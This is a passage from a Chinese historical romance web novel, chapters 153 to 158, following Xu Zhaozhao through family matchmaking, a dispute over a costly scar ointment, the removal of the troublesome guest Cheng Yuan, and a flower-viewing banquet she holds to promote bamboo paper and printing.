《天良缘》 第153章 许君霆找过来了 许昭昭将一切都安排得很妥当。 许昭昭甚至还把王若兰和舅母李青梅也一并邀请到了庄子上避暑。 许昭昭的二嫂安和县主和表姐王文秀,以及二房的两位庶妹也都跟过来一起,至于世子夫人和二夫人李氏,则是要留在家中主事。 许昭昭也想过请老夫人一起过来,但是老夫人年纪大了,不乐意来回挪动,所以便拒绝了。 有这么多人,全是女眷,而且还有长辈在,所以李明雅也带着七岁的幼妹一起过来了。 这也是李夫人的意思,让明雅一个人去,总担心这孩子会不自在。 有一个幼妹陪着,会少一些陌生感。 许昭昭在山上的宅子,是去年便开始修的。 断断续续的,一直到今年三月才修好。 因为是在山上,所以最外围照样修得是高墙,而且前院还被安排了一百多名护卫,这也是许翰的意思。 “等到秋天时,几位姐妹们都还要再来呀!到时咱们一起打猎,我还能让你们尝尝地道的野味儿全宴。而且到了秋天,我这里还有红枫可以赏,美不胜收!” 王文秀一脸羡慕:“昭昭这处庄子买的好,建得好,如今又是经营得好!瞧瞧,这吃喝玩乐,样样都齐全了,我都羡慕得不得了!” 许昭昭轻笑,一旁的安和县主喝了一口果子露,同样羡慕:“说也奇怪,同样都是庄子,怎么昭昭妹妹这里便能安排得如此好?无论是粮食瓜果,她这里是应有尽有,我看了都服气!” “就是,我也羡慕呢,二姐姐太厉害了,日后若是我手里头有了私产,也想交给二姐姐来打理了。” 说话的是许婷婷,那真挚的眼神,可不似作伪。 李明雅吃了一口葡萄,也是一脸满足:“同样是葡萄,怎么我感觉你这庄子上种出来的就更甜一些?” 许婉婉一脸认同:“是呀是呀!我也觉得以前吃的都没有二姐姐这里的甜!” 许昭昭笑而不语,这些人当然不知道她是集合了多个品种葡萄的优点,才特意培植出目前最为满意的一个品种了。 丁香过来禀报:“小姐,刚刚高管事过来传话,说是二公子今日下值早,会与谢三郎一同过来,今晚他和谢三郎就住在外院,负责咱们庄子的安全。” 许昭昭瞥了安和县主一眼:“咱们庄子上这一百多人都是摆设不成?二哥明明就是想二嫂了,却偏不肯说实话!” 众人轰笑,王若兰和李青梅也跟着偷笑。 安和县主如今为人妇,倒不似未嫁前那般羞涩了,不过仍然有些许脸红。 “昭昭,你若是再胡说,信不信我使法子让你和谢三郎一直到年底都见不到面?” 话落,众人的笑声更甚! 许昭昭可不怕她的威胁,不过还是要给她几分面子的。 “二嫂嫂,你急什么?二哥特意过来看你,可见心中是挂念你的,要我说,待会儿他来了,你便直接跟他一起回府便是,何必再让二哥来回辛苦?” 安和县主脸更红了,佯怒道:“再敢胡说,看我怎么收拾你!” 话落,直接带着下人走了。 众人笑声更浓,但更多的还是羡慕。 许婉婉叹气:“二嫂嫂真是好脾性,这般急匆匆地走,定然是去为二哥安排寝室了。我二哥那样只会武刀弄枪的鲁莽之人,竟然能寻到二嫂嫂这般体贴温婉的娘子,啧,也不知是他运气好,还是我大伯母的眼光好。” 许昭昭轻笑,她倒是会说话,顺带着还捧了夫人一句。 王文秀的亲事已经定下,等到秋天也就要成亲了。 她现在只盼着自己的夫家也能如许家这般宽和厚道,若不然,她日后想要这般肆意可就难了。 待到晚间时,许昭昭才注意到三哥竟然也来了。 不过,许君霆的脸色不太好。 “三哥可是有心事?” “那个,你能把李姑娘请出来吗?” “你且等着。” 许昭昭没让李家的幺妹跟着,而是自己和李明雅一起出来的,还有安和县主陪同。 “你们在这里说说话,我们就有那边的廊下赏月。” 李明雅没想到他会找自己单独说话,自然是有几分羞怯。 “三郎寻我何事?” 许君霆先施一礼,才低声道:“我今日下衙回府,路上看到一女子与你庶妹极为相似,只见她与一书生来往亲密,我担心令妹受人蒙蔽,又怕再污及李府声誉,所以便特意差人跟上去,免得令妹再吃亏。 不想却无意中听到了二人间的对话,这才得知他们二人以表兄妹相称,只是那位公子我瞧着面生,并非季家人,所以才心有疑虑。之后我确认令妹回府后,便直接离开。可我思来想去,觉得此事不妥,这才急匆匆赶到庄子上,告知于你。” 李明雅脸色煞白,万万没有想到,竟然是李明淑的事! 她更没有想到的是,她正与许三郎议亲,可是却被许三郎当街撞到庶妹与外男亲密,这,这让她如何自处? 许君霆抬眼注意到她面色不佳,连忙安慰道:“明雅姑娘先莫慌,此事我未曾向任何人提及,便是我妹妹也不知晓。我急速来告知你,正是因为我听闻令妹在与刘府议亲,我也是担心此事若被人知晓,再影响李府名声。 我,你性子好,且人品也没得挑,这一点我是知晓的,我也是念及咱们两家的关系,所以才会多嘴,还望明雅莫要怪罪才好。” 最后这番话,倒是让李明雅的心安定不少。 许三郎的话没毛病。 人家也是因为确定和李家是姻亲,所以才会愿意上前多关注。 “多谢三郎,此事我会回去禀报母亲,还请家中长辈们明查。” “嗯,兴许也是我多心了。对了,这个,是我路过宝兴斋时买的点心,听昭昭说你爱吃它家的绿豆糕,所以便买了一些给你尝尝。” 李明雅脸上再度有了几分血色,略为羞怯地接过来:“你有心了。” 许君霆抬眼看她,笑得跟个二傻子似的,嘿嘿道:“嗯,如果你喜欢,我以后还给你买。” 第154章 十两金一罐 许君霆说的事情,可大可小。 大兴对于男女之间的大防没有那么严重,但是高门贵女一般还是很注意个人言行的。 李明淑即使是庶女,那也是将军府的庶女,自然不可同寻常百姓一般,肆意得与外男接触。 次日一早,在许君霆的护送下,李明雅先一步回府了。 虽然许君霆没说,但是这等消息怎么可能瞒得住许昭昭? 这里可是她的地盘! 其实许昭昭也好奇,这个李明淑真地做了有违礼法之事吗? 请李明雅过来避暑,原本就是想着多给一些三哥接触她的机会,这样二人多了解一些,日后成婚也不至于成为一对怨偶。 好在,这两人还算是彼此互有好感。 而且许君霆这么一番示好,又给他加分不少。 王若兰和李青梅又在这里住了几天后,也一起回京了。 主要是李青梅是家中主母,总不能一直不理会家中琐事。 王若兰倒是把大部分的事都推给张氏了,但也不能真地撒手不管。 不过,王若兰走之前,倒是提醒了许昭昭一句。 “我听说孙茜脸上的疤淡了一些,你祖母先前不是还为这个事儿夸了你吗?我估摸着她的那个药膏快要用完了,还得来找你,你自己心中有数就成。” “放心吧,母亲。不过,这药膏难得,而且也并非是我做出来的,老神仙如今又没了踪影,只怕找我也无济于事。” 提及这个,王若兰又是一脸无奈。 “也罢,你自己有数便好。” 当初许昭昭弄出这个药膏来,其实一是因为在老太太跟前发了话,那就不能一直拖着不办事。 二来,也是因为她想着用这东西赚钱的。 但是实际操作下来,还是有难度的。 毕竟祛疤膏这种东西,放在这里可太过逆天了。 连太医院都束手无策的事,她若是轻而易举便能办到,那才要出大事! 酿些酒水也便罢了,还能说是自己寻了些个匠人来鼓捣。 这祛疤膏要怎么解释? 最要紧的是,这东西也的的确确是需要一些免贵药材做原材料的,许昭昭不可能大批量的生产这种东西,所以,干脆就少做一些,然后故意吊着大家的胃口好了。 许昭昭是绝对不会承认,她就是故意不让孙茜恢复容貌的! 这种人,死了她都不会心疼,又怎么会觉得只是毁容便足以惩罚她的过错? 不过,她的那位好姑姑应该会来的。 到时候再说吧。 结果这人就是不经念叨,王若兰前脚走,许琳后脚就来了。 “昭昭呀,你那个祛疤膏确实是有效,只是这眼瞅着要用完了,这药总不能停吧?” “姑姑,你这可是让我为难了。老神仙如今不知所踪,当初这药膏拿出来的时候,我便跟你们说过,是你们自己不愿意多买,只买了一罐说试试。如今老神仙不知去往何处逍遥了,我又去哪里寻?” 许琳一脸讪讪之色:“当初也不知道这药真的有效呀!而且这药也太贵了些。那么大点个小罐子,开口就要十两金,这不是坑人嘛!” “可表姐也的的确确用过此药,不是说有效吗?” 许琳一下子被噎住,好一会儿才艰难道:“那当时我们的确是没想到会这样。现在这药既然有效果,我们自然也是愿意买的。” “姑姑,您愿意买是一回事,可现在买不到就是另外一回事了。” 许琳急了:“怎么会买不到呢?那位神医没有留下配方吗?” 这下子换许昭昭急眼了:“姑姑此话何意?我一非那位老神仙的徒弟;二非老神仙的亲族,这等逆天的好法子,人家怎会留给我?” 许琳这才意识到自己刚刚一时失言了。 “昭昭呀,姑姑也没有别的意思,就是想着能让你表姐尽快好起来。” “您想让表姐好起来,这个我懂,可我也无能为力呀!” “昭昭,那当初你就没有买下几罐药膏吗?” 许昭昭似笑非笑道:“如此贵重的药膏,自然是有需要才会买。毕竟这又不是粮食,可以放上两年当个陈粮,也还能吃。那可是药!谁知道放时间久了,是否还能用?” 言外之意,就是我又没有那种伤,自然是没有买药的必要。 而且这种药膏有时效性,谁会愿意在自己没需要的时候花十两金买个治疤痕的药? 许琳再度被噎,一时间也没了主意。 “姑姑,你也莫急,我再差人去打探这位老神仙的行踪便是了。兴许老神仙也没走太远呢!” 许琳想骂人。 可她也知道现在这种情况,她是真得罪不起许昭昭的。 毕竟那个药膏有效,万一许昭昭生气了,不肯帮忙,那才要遭! 许琳失望而归,刚刚被接回府的孙茜一脸希骥地看向她:“母亲,买了几罐?” 孙茜做过计算,她脸上的疤若想要痊愈,至少再需要三罐才行。 十两金一罐的药膏,他们家也不是用不起。 但问题是,现在有钱也买不到呀! “茜茜呀,你先别急,母亲再帮你想想办法,咱们一定可以治好你的脸。” “什么意思?母亲没买到药膏?” “那位老神仙早就离开了,现在你表妹也找不到她,咱们只能是再试试运气。” 孙茜一听这话,立马变脸。 “我早说过这药有效的!早就让你去寻许昭昭再买两罐的,你为何不听?” 许琳一时间有些心虚。 十两金呢! 这可不是小数目。 如果是以前她未出嫁时,倒也不是那么在意。 可现在,她已不再是侯府千金的身份,孙家如今又是这么个光景,一家子全指着她手里头的那点儿产业过日子呢,她不可能只想着孙茜一个孩子。 她还有儿子呢! 儿子现在虽然份差事了,但那点儿俸禄哪能养得起他? 况且如今又正在给儿子议亲,一旦定下了,便要下聘、修整院子等等,哪里不花钱? 这个时候,十两金可就显得太多了! 若是换成铜板,可是满满一大箱子呢! 可这种大实话能说吗? 敢说吗? 啪! 哗啦! 孙茜直接就开始通过摔打东西来发飙了! 第155章 她脑子有病 孙府如何闹腾,许昭昭可不关心。 她现在就想知道李将军府上的事情处理得如何了,会不会影响到她三哥三嫂的姻缘呢。 安和县主也被许君锋接走了,至于谢三郎,他倒是想和许昭昭说会儿话,奈何人家不见他,无奈,也只能先下山。 没了几位长辈,几个年轻的姑娘们自然就敞开了玩儿,也不顾忌形象了,反正就是自己怎么舒服怎么来。 麦冬先前被派去打听李府的消息,总算是有所收获。 “那位被李明淑唤作表兄的,其实是她生母的侄儿。李明淑倒是不曾与他有过分的举动,听闻是那位表兄赌输了银钱,想要找她要,但李明淑不肯,之后争吵了几句。” “这是对外的说法,还是你查到的?” 麦冬回道:“都是属下自己查出来的。另外,李府已经将李明淑禁足了,她与刘府的婚事,似乎还在商谈中。不过听李将军和李夫人的意思,好像是要多谢三公子提醒,要不然,事情闹大了,只会难以收场。” 这一点许昭昭认同。 真闹大了,谁知道那个烂赌鬼会如何在外头败坏李明淑的名声? 而且李明淑是否真地清白,眼下还真不能确定。 许昭昭总觉得这个李明淑给她的感觉怪怪的,以前也是见过的,总觉得她看人时的眼神阴恻恻的,也不知是自己的错觉,还是因为李明淑个人习惯的缘故。 “既然如此,那就算了。” “夫人说六日后会派人去李府下定,所以夫人交代让几位小姐这几日下山回府。” “知道了。” 许昭昭只需要确定三哥的婚事没有出变动就好。 她还挺喜欢李明雅的。 而且在山上相处时,她发现李明雅和二嫂处得也不错,日后兴许能过得更安宁一些。 许昭昭前脚刚回侯府,后脚就被王若兰叫到正院说话。 “母亲寻我何事?” “你可认得程媛?” 许昭昭拧眉,怎么好端端的日子又听到这么一个晦气的名字? “算是认得吧。先前她带着一位老仆被人追杀,被咱们侯府的护卫救下了。之后被齐云泽带走,我就再没有见过。” 王若兰点点头:“你可知道她的来历?” “知道。” 许昭昭没有隐瞒,将程媛的身世说了。 王若兰越听越是一脸愁苦。 “母亲,您这是怎么了?可是这程媛来找侯府的麻烦了?” 王若兰摇头:“这个程媛昨日便曾上门来寻你,我跟她说你并不在府中,她又与管家纠缠许久后才离开。我当时并未多想,只以为是你在外面结交的朋友,如今看来,她这是来找茬的呀!” 许昭昭无所谓道:“随她吧!不管怎么说,我都算是她的救命恩人吧?这个人的脑子不清楚,是个拎不清的。她若是再来,我便见一见。若是不成样子,那我便要找谢三郎好好说道说道。” “也未必就与谢三郎有关。” “母亲又何必向着他说话?若非是他和齐云泽招惹上这么一个麻烦,这程媛又岂会找上门来?” 王若兰没有再说话,对于女婿管上这么一桩闲事,她也是有些不满。 但是当年程公于他二人有恩,若是真地不闻不问,反倒是让人觉得太过冷心冷肺了。 许昭昭又与王若兰一起说了会子话才知道,原来程媛的身份在京城已经不是秘密。 原本圣上就赦免了程家人的流放之罪,程媛如今的身份文书也都补齐了,所以她出现在京城,也不违法。 只是,她如今只是一介平民,而且暗处又有人盯着她,这般大张旗鼓的公开身份,四处招摇,真地不会给齐云泽和谢铮招祸吗? 说到这个,现在齐云泽和谢铮正凑到一起喝闷酒呢! 两人现在都是一脸苦相,对于这个程媛,他们是真不想管了。 “现在怎么办?我都说了让你看好她看好她!结果还是让人跑出来了!” 齐云泽也生气,一拍桌子:“你以为我没有安排吗?我怎么知道她能这么不懂事!我看她就是一个麻烦精,爱怎么着怎么着吧!咱们哥儿俩也算是救过她好几回了,就算是当年程公再大的恩情咱们也还完了,随她去吧,爱怎么着怎么着!” 谢铮既生气,又无奈。 摊上这么一个不懂事的,他也是恨不能先给她两巴掌解解气。 “既然已经如此,干脆就顺手推舟。” “啊?”齐云泽没听明白。 “在长安县随便给她找一处宅子安置,宅院也不需要太大,除了她之外,再安排几个奴仆伺候就成。至于吃喝方面,能度日即可,没必要让她过得太奢靡了。” 齐云泽现在听清楚了,心中也有了一番计较:“就这么利用她钓鱼?” “未必能钓得上来!” 谢铮还是没有太乐观。 毕竟这里是天子脚下。 城内的治安还是很好的。 而且他觉得就算是真地不管程媛了,她也未必会再遇到追杀这样的事。 “就这么办!正好也让全京城的人知道,咱们对她也是仁至义尽了。而且男女有别,我们愿意出钱给她安置,便已经是尽了本分,不可能再有多余的关照。” “正是如此!” 二人商量好,便直接命人去办。 刚刚回到齐府别院的程媛还不知道,她很快就要搬出这里,再不能锦衣华服,更没有这成群的奴仆使唤了。 当晚,许昭昭便毫不客气地把谢铮给臭骂一顿! 许昭昭原本就生气,谢铮又偏偏主动送上门来找骂,许昭昭自然不会跟他客气。 谢铮也是无奈,但想到的确是自己的错,除了赔罪,还能怎么办? “我懒得见这个人,只一面便知道她是个脑子不清楚的。你最好是安排人去问问,她寻我何事?若是报恩,只需命人将一些谢礼送上门来即可,没必要她亲自来。而且她来了,我也未必有空见她。” “知道了,我会安排。” 谢铮这次学乖了,小媳妇说什么是什么,绝对不能再跟小媳妇顶嘴。 “程媛的身份是你们故意散出来的?” 谢铮苦笑,只得又解释一遍。 许昭昭一时间哭笑不得,这个程媛的脑子真有病呀! “我就怕请神容易送神难呐!到时候她就赖着不走,你们还能生将人撵出去?” 第156章 赏花宴为何不请你? 谢铮一时间怔住,他是真没想到这一茬。 但谁也没想到,还真就让许昭昭给说着了。 齐云泽正和谢铮一起琢磨着如何钓鱼的事,结果下人就来回话了。 齐云泽只觉得脸疼! 他刚刚还说程媛好歹以前也是公府小姐,不是那么不知礼的,结果就来打脸了。 “你说她不肯走?” “是,她说那老仆的伤势还未曾养好,不好轻易挪动。” “只这一个理由?” “是。” “好办,着人往马车里给她铺了软垫子厚褥子,不让她颠着碰着就是了。” 这话是谢铮说的。 齐云泽一脸难以置信地看过去:“你是不是傻?那老仆不过就是个由头,分明就是程媛自己不愿意搬呀!” “我知道。可她不想搬就可以不搬了?你齐家的别院,还是她程媛能做得了主的?” 齐云泽一时间怔住,好一会儿才拿扇子敲一下额头:“你说的对!我也是被她给气着了!快,就按刚刚三郎说的办。不过没出宅子之前,你们怎么着都成,出了宅子,得让外人看到是她们主仆心甘情愿搬出去的。” 下人一脸为难,这要怎么办? 齐云泽瞪他:“还不快去!” “是!” 谢铮突然就笑了,他想到当时许昭昭的那番话,又想到当时她的那个表情,只觉得他的小媳妇好像是真地很懂人心呢。 “三郎,你说程媛要是还不肯走,那怎么办?” “这不是你我操心的事了。你都安排下去了,底下人再笨也总有一两个聪明的。” 这话倒也是。 果然,再过半个时辰之后,那个小厮去而复返。 “回禀世子爷,已经将人送过去了,如今正有几个仆从帮着安置,待一切妥当后,咱们的人就会撤回来了。” “嗯,不错。你没动粗吧?” “瞧您说的,小的可不敢。小的也是动之以情,晓之以理。而且小的当时带着二十多个壮丁帮着她搬家呢,又不用她亲自动手,不让程姑娘自己累着,她自然也没有什么怨言。” 齐云泽一眨眼,他听明白了。 二十多个壮丁呢,最起码不能让程媛再随心所欲,至少让她知道,她处于什么境地了。 “办的不错,赏!” “谢世子爷。” 谢铮轻笑:“程媛果然是没长脑子。不过你那边安排了几个下人?” “连带着看大门的,再加上内宅的厨娘、洒扫,总共给她安排了五个过去。等她的那个老仆痊愈,六个人伺候她一个,怎么也不能说日子过得艰难吧?” “那月钱呢?” 齐云泽瞪眼:“不是,谢三郎你什么意思?这仆从都是我送过去的,而且我都事先给了三个月的月钱了,你不会还让我负责那边的一应开支吧?” 谢铮一脸理所当然:“不然呢?难不成还要我负责?人家可是从你的别院里搬出去的。” “啧,可她当初是来投奔你的!” “谁说的?” 齐云泽一时间气得说不出话来,上下打理他一番,才怒骂道:“我怎么就交了你这么个损友!那程媛对你的心思谁不知道?而且当初在百果园,也是她口口声声地说要找你,说是不远千里来投奔,怎么就赖到我身上了?” “因为你本就是浪荡公子呀!” 齐云泽被噎得难受,再次闭嘴了。 没办法,齐云泽的风流名声,满京城谁人不知? 这家伙在外面的红颜知已,两只手再加两只脚都是数不过来的。 最主要是齐云泽人长得英俊,又是文武双全,这京城的小娘子们哪怕明知道他早已定下亲事,仍然是络绎不绝地往他怀里扑,这怪得了谁? “算了,我服了!只是养着一个程媛,我侯府还能掏得起钱。算了,不跟你计较,你就抠门吧!看哪天你那个有钱的小媳妇会不会嫌弃你是个穷鬼兼抠门鬼,再一怒之下把你给休了!” 谢铮没好气地白他一眼:“你做梦去吧!昭昭待我好着呢!” “呵!好?那许昭昭有意在百果园宴客,可邀请你了?” 谢铮一时语塞,宴客? 什么时候? 他怎么不知道? 一看他这表情,齐云泽就乐了。 “我就知道你没被邀请!该!让你小子嘚瑟!” “等会儿,你怎么知道的?邀请你了?” 齐云泽立马摆出一副高人的姿态,下巴高高抬起,一脸得意:“嗯哪,是有这么个事儿,怎么着?谢三郎也是想要蹭本世子的贴子去赴宴不成?” 谢铮一巴掌拍过去,齐云泽这傲人的姿态就立马废掉。 “你干嘛!”齐云泽身子一歪,险些把一旁的花给压到,这可不行,金贵着呢! “快说,到底是什么由头请客?” “说是赏花,但具体赏什么花,贴子上没说。而且宴请的多是京城中年轻的公子和小娘子,但我听说那百果园特意安排出来近十亩的地方供人观赏玩乐,估计就是类似于游园会一类的。” 这个时节,那些果树早已结果,哪来的什么花卉可赏? 不过听闻春天时,那园子里梨花齐放,甚为壮观,为此许昭昭还曾邀请过不少交好的娘子们去赏梨花,这其中就有谢芸。 只是不知道,这一次又是赏什么花。 梨花、杏花、桃花现在可都过季了呀! 谢铮有些暗恼自己对许昭昭的关注不够,应该再派人多盯着的。 现在知道也不晚。 当天晚上,谢铮就知道许昭昭请人赏什么花了。 如今已是六月,天气炎热,但是百果园中有一荷塘,如今开得正艳,听闻不仅花开盛美,而且还品种不一。 除此之外,园子里还有许昭昭特意从南边儿弄来的一些花卉,但大多数以盆栽为主,有些还被藏在屋子里,未曾搬出来,所以他派去的人,暂时没能打听到这一点。 其实如果谢铮多交代一句话,那事情立马就能查明白。 但许昭昭是未来的少夫人,所以派去的人也不敢胡来,尽量不打扰那里的一草一木。 谢铮心里头这个痒呀! 怎么就不给自己送贴子呢? 不送贴子,你派人来知会一声也行呀! 这么一寻思,谢铮就去找谢芸抢贴子了。 她手里指定有! 第157章 实力上的差距啊 谢芸弄清楚他的来意后,先是一呆,随即便捂嘴大笑起来。 谢铮都被笑得有些脸红了。 “不是,你把贴子给我就是了,你笑什么?” “我的好哥哥呀!你真是个傻子!” 谢铮被说得一脸茫然,这里头还有别的事? “昭昭的赏花宴定在三日后,哥哥仔细想想,你三日后在何处?” 谢铮仔细一琢磨,随即面上一喜。 三日后,正是他休沐之日。 “还是妹妹聪慧。不过,即使是我休沐,可没有贴子,我又如何能去?” “届时兄长自去试一试不就知晓了?而且,据我所知,兄长没有贴子,王家的那几位郎君们也没有贴子呢。” 谢铮脸一沉:“那怎么能一样?王家是昭昭的外祖家,他们是亲戚,自家人,我。”说到此处打住,眼神里闪过一抹不可思议,似乎是明白了。 谢芸见他想明白了,便又故意问道:“兄长可还要抢我的贴子?” 谢铮傻笑两声,随后向她行礼道谢:“多谢妹妹了。” 谢芸笑着摇头,她是知道许昭昭今年定然不会嫁人的,也不知明年是否能嫁过来。 三日后,谢铮一大早就起来打扮好,城门一开,直接就往城外的庄子上去了。 谢铮刚到百果园,就看到了王家兄妹。 高大魁解释道:“几位表公子和表小姐昨日便到了,说是过来帮忙的。” 谢铮点头,暗恼自己怎么没想起昨天就先过来呢。 许昭昭一回头,正好看到他走过来,一身水青色常服,上面的暗纹在太阳光的照射下显得华贵无比。 这样的谢铮,不仅仅是好看,更是吸引人的注意力。 “昭昭,我来了!” 许昭昭笑着点头:“今日除了赏花之外,还要饮宴,今日备的是农家家常菜式,这其中还有两道是野菜做的膳食,不知三郎以为如何?” “嗯,甚好!” 谢铮不知道为什么,只要在许昭昭面前,好像这嘴就不太好使。 “赏花时,大家皆可自由欣赏,饮宴设在前面荷塘处的水榭,三郎以为如何?” “啊,好!水榭嘛,较为凉爽一些。” 这山脚底下,原本就比其它地方要凉爽一些,再守着荷塘,不仅美,而且还凉快。 谢铮来了之后,倒也没有什么需要他操心的,基本上就是许昭昭走到哪,他跟到哪。 “表哥,三哥,今日的男客们就要有劳你们二位了。酒可以饮,但要适量,无论是哪家的郎君,最好也是莫要醉酒,一旦丑态毕露,只恐会影响那些小娘子们的观感。” “昭昭放心,我们心里有数。” 今日不仅仅只是为了游园赏玩,更重要的是,许昭昭还要借此机会大力地推广竹纸以及印刷术。 之所以请这些男客们过来,就是想请他们也辩一辩,竹纸好还是藤纸好、手抄好,还是印刷好! 用许昭昭的话说,只要这热度炒起来了,那么竹纸以及印刷书籍自然就能进入大众视野。 如今的竹纸因为价格低廉,自然是销量不俗。 但问题是若藤纸也降价呢? 不仅如此,有些贵族子弟,甚至还以自己用贵的藤纸而沾沾自喜,真应了后世的那句:只选贵的,不买对的! 对于这种人傻钱多的主儿,许昭昭是不想理会的。 但奈何想要将竹纸以及印刷品推广,还真就离不了这些人。 这么说吧,普通的农家子买竹纸,即使是家世还可以,顶多就是买上十刀八刀地回去留着用。 而富户豪绅们可能就是几十刀甚至是上百刀的买,因为他们家中人口众多,且底下需要用到纸张的人太多了。 若是放到高门贵族子弟中,他们一出手,极有可能就是会将一个铺面的存货一下子清掉一半。 这就是实力! 为啥? 因为他们用纸是不讲究什么节省不节省的,再加上底下的产业众多,掌柜的、亲随等等,哪一个不用? 另外,这些东西,还会成为他们诗会等地方的必备之物,那总不能一刀两刀的准备,甚至于还要用此赏人等等。 所以,毫不夸张的说,一百个普通学子买的纸,也比不上一位勋贵子弟买的多。 这就是实力上的差距! 许昭昭为了今日,除了特意准备不少的花卉之外,还命人在竹纸上下了功夫,比如说桃花笺、透香纸等等。 宴会上,许昭昭自然不会透露自己与造纸坊的关系,也不会明面儿上推广,只需要三言两语,便能挑动起大家的热情。 最后嘛,今日宴会上所用的这些独特纸张,必然会成为那些高门贵人们的首选。 如此,便能有更大力度对邓家的打击! 许昭昭还给宁朔公主也下了贴子,不过来不来,许昭昭心里没底,而且这贴子,还是拜托了乐阳郡主与她一起去送的。 许昭昭倒不是觉得自己身份卑微,她是单纯觉得皇室公主们的脾气不太好,找一位郡主陪着,还不至于被公主责难。 “呀,这月月红开得这般茂盛,我瞧着一株便能有二十多个花头,这园子里的养花人手艺不错呀!” “快看那边的,那边的才真叫惊奇,也不知是如何培育出来的,那花瓣竟是正反颜色不一,当真好看!” “难怪许小姐要办赏花宴呢,如此漂亮的月月红,的确是难得一见。” “是呀,咱们以前只知牡丹艳丽,没想到这月月红竟然也能开得这般多姿。” 很快,许昭昭特意命人培育出来的月季便引得众贵女们的喜爱。 许昭昭也不是小气之人:“几位若是喜欢,可常来。若是旁的品种我可送你们一株,只是这个,目前为止只培育出了这一株,着实是不能送人。” 谢芸嘴快:“我不急!若是有了第二株,昭昭是否想着我?” “好!” 王文秀觉得自己今天这嘴慢了,直接一脸哀怨地看向表妹,那神色,仿若是不给她,便是欺负了她似的。 “若是日后培育出来,表姐那里自然也会有的。” “我就知道昭昭心里有我。” “宁朔公主到!” 听到外面的高唱声,许昭昭立马高声示意众人道:“公主驾到,理当恭迎。” 第158章 芍药笺 权贵阶层也是有着严格的等级划分的。 比如说皇家,那就是绝对的权势的代名词。 因为许昭昭请的都是勋贵子女,所以基本上都不需要行跪礼,但是那些仆役们则是必须行跪礼,且不得抬头的。 宁朔公主出行,那自然是要有仪仗的,不过她不出京,又不是什么大场合,所以只带了部分仪仗,饶是如此,也足以让外面的百姓们惊骇了。 这前前后后,又是仆从,又是护卫的,少说也得有百人了。 宁朔公主与乐阳郡主交好,而且她已经成婚,在未出阁前,她基本上没有走出过皇宫。 也因此,乐阳郡主向她提到百果园时,她才会心动。 “许昭昭,我今日前来,可是冲着你的佳酿,听闻你这园中处处美景,若是再辅以美酒,那才是完美。” “是,今日定当请公主尽兴。” 宁朔公主一来,这宴会的层次立马又上升一个等级。 许昭昭对于今天的安排,那就更是期望满满了。 果然,待到请诸位公子们吟诗作赋之时,与市面上所售的竹纸一摆出来,众人便不由得细细打量了。 “这纸柔但又有厚度,拿起来却又透光,而且我闻着还有几分的花香味。许三郎,不知这是从何处所购?” “哦,这就是万年县的几家书铺中所购,因为想到今日大家可能诗兴大发,所以特意命人多备一些文房四宝,这些纸看似相同,却并非是在一家买入。” “咦,我之前怎么没见过?” “我瞧着倒是有几分眼熟,好似是见过的,但是又想不起来了。” “诸位,还是先作诗呀!” 许君霆一提醒,众人这才将注意力又放到这满园的花卉之中。 “我观这月月红开得极佳,且颜色不一,大小各异,姿态更是千娇百媚,不如就以此花为题?” “齐世子所言甚是,便以此花为题!” 男客们开始执笔作诗,女客这边自然也不能落下。 同在水榭之中,只是将男女分坐东西两边,而水榭对面不远处,还有一处六角亭,那亭中石桌上,摆了两盆芍药,此时开得正艳。 谢铮一直很低调,他在尽量降低自己的存在感。 他对自己的认知很清晰,他是有未婚妻的人了,所以不能在人前太招眼了,不然容易被小媳妇记恨。 等到女客这边也被端上文房四宝时,众人惊叹更甚! 便是连见多识广的宁朔公主的脸上都多了几分惊喜之色。 “这纸竟是每一张都如此么?” 纸张按统一大小裁剪,正是当下书信、公文用纸的规范尺寸,上面被用桃红色的竖线隔开,只为方便书写,除此之外,其每一页的左下角处,皆有一朵芍药花。 众贵女们看得稀奇,纷纷上前验看。 这一拿不要紧,这么厚一沓纸,竟然一模一样! “呀!这,若是能用此笺作诗,想想便觉得雅!” “呵呵,我以为你要说,若是用此笺写信给自己的郎君,该是何等情意绵绵呢!” “哈哈!说笑归说笑,但是这纸笺着实美且雅,好东西!” 又是一番打听,最终许昭昭给出的答案与许君霆说的无异。 也就是说,京城几家大书铺中皆有售。 许昭昭没说的是,偏就是邓家开的书铺里没有! 寻常的竹纸,如今价格已经再降至五十文一刀,而许昭昭拿出来的这两种,价格却是在八十文、一百文一刀。 说白了,卖的就是是一个稀罕。 待到日后这等纸笺开始盛行,其它作坊必然也会效仿,届时,这价格自然也就会降下来了。 这倒不是什么大事。 反正现在,许昭昭做的就是要先割第一波韭菜。 这第一波韭菜,往往也是利润最大的时候。 等到满世界都是类似的纸笺时,自然也就不值钱了。 一场赏花宴会,办得那是相当成功。 后来饮宴时,许昭昭除了状元酒之外,还特意搬出桃花醉和百花香来招待诸位娘子们,可以说是相当得有诚意了。 谢铮帮着送走最后一位郎君,转身就一路小跑着去找许昭昭了。 丁香识趣地退下,就在水榭不远处站着,时不时地观察着水榭内的动静。 “昭昭,今日的那些纸是你弄出来的?” “何以见得?” “呵呵,也就是你才能如此聪明,而且我看得出来,大家都很喜欢这些。想必不出三日,这几种纸就会在京城销售一空!” “嗯,既然如此,你还不赶紧去抢购一批?” 谢铮沉默一瞬:“支持昭昭的事业,我自然不会落于人后。只是我想着,昭昭定然也会为我专门备一些的吧?” 那双渴盼的小眼神,简直不要太认真! 许昭昭轻叹一声:“一会儿你走的时候会有人送上,若只是为了这些,你现在就可以走了。” 谢铮略有几分委屈道:“昭昭可还在为了程媛的事情生气?我与她真的清白,而且程媛抵京后,也一直都是齐云泽在照顾,与我无关呐!” 许昭昭没好气地白他一眼:“人家好心替你善后,你倒是把人卖个干净!” 谢铮见她语气轻松不少,就知道她不再生气,这才赔笑道:“原本他就是个风流才子的名声,我这也是为了成全他。” 许昭昭没忍住,又笑了。 齐云泽若是听到这话,估计能气得跟他打起来。 谢铮将程媛如今已经搬走的事情说了,然后又提到程媛的性子的确是有些娇惯,行事也没有章法。 其实说白了,谢铮就是自己不知道该代程媛道歉,还是该劝许昭昭别搭理这个程媛。 许昭昭也不傻,自然明白他在说什么。 “程媛上京来,指名道姓得要找你。如今一切都推给齐云泽又算是怎么回事?而且她还去侯府寻我,我其实是真地挺同情她的。这人经历大变故,竟然还能如此不长脑子,也不知道先前几年她是怎么活下来的。” 这不是许昭昭在阴阳怪气,她是真的好奇。 这程媛之前被流放,虽说一路上有自己的族亲照应,但不至于连个好赖都分不清吧? 这种人,莫说是能活到现在了,在流放路上能活过十天都算是奇迹了。 第159章 嘴笨的谢三郎 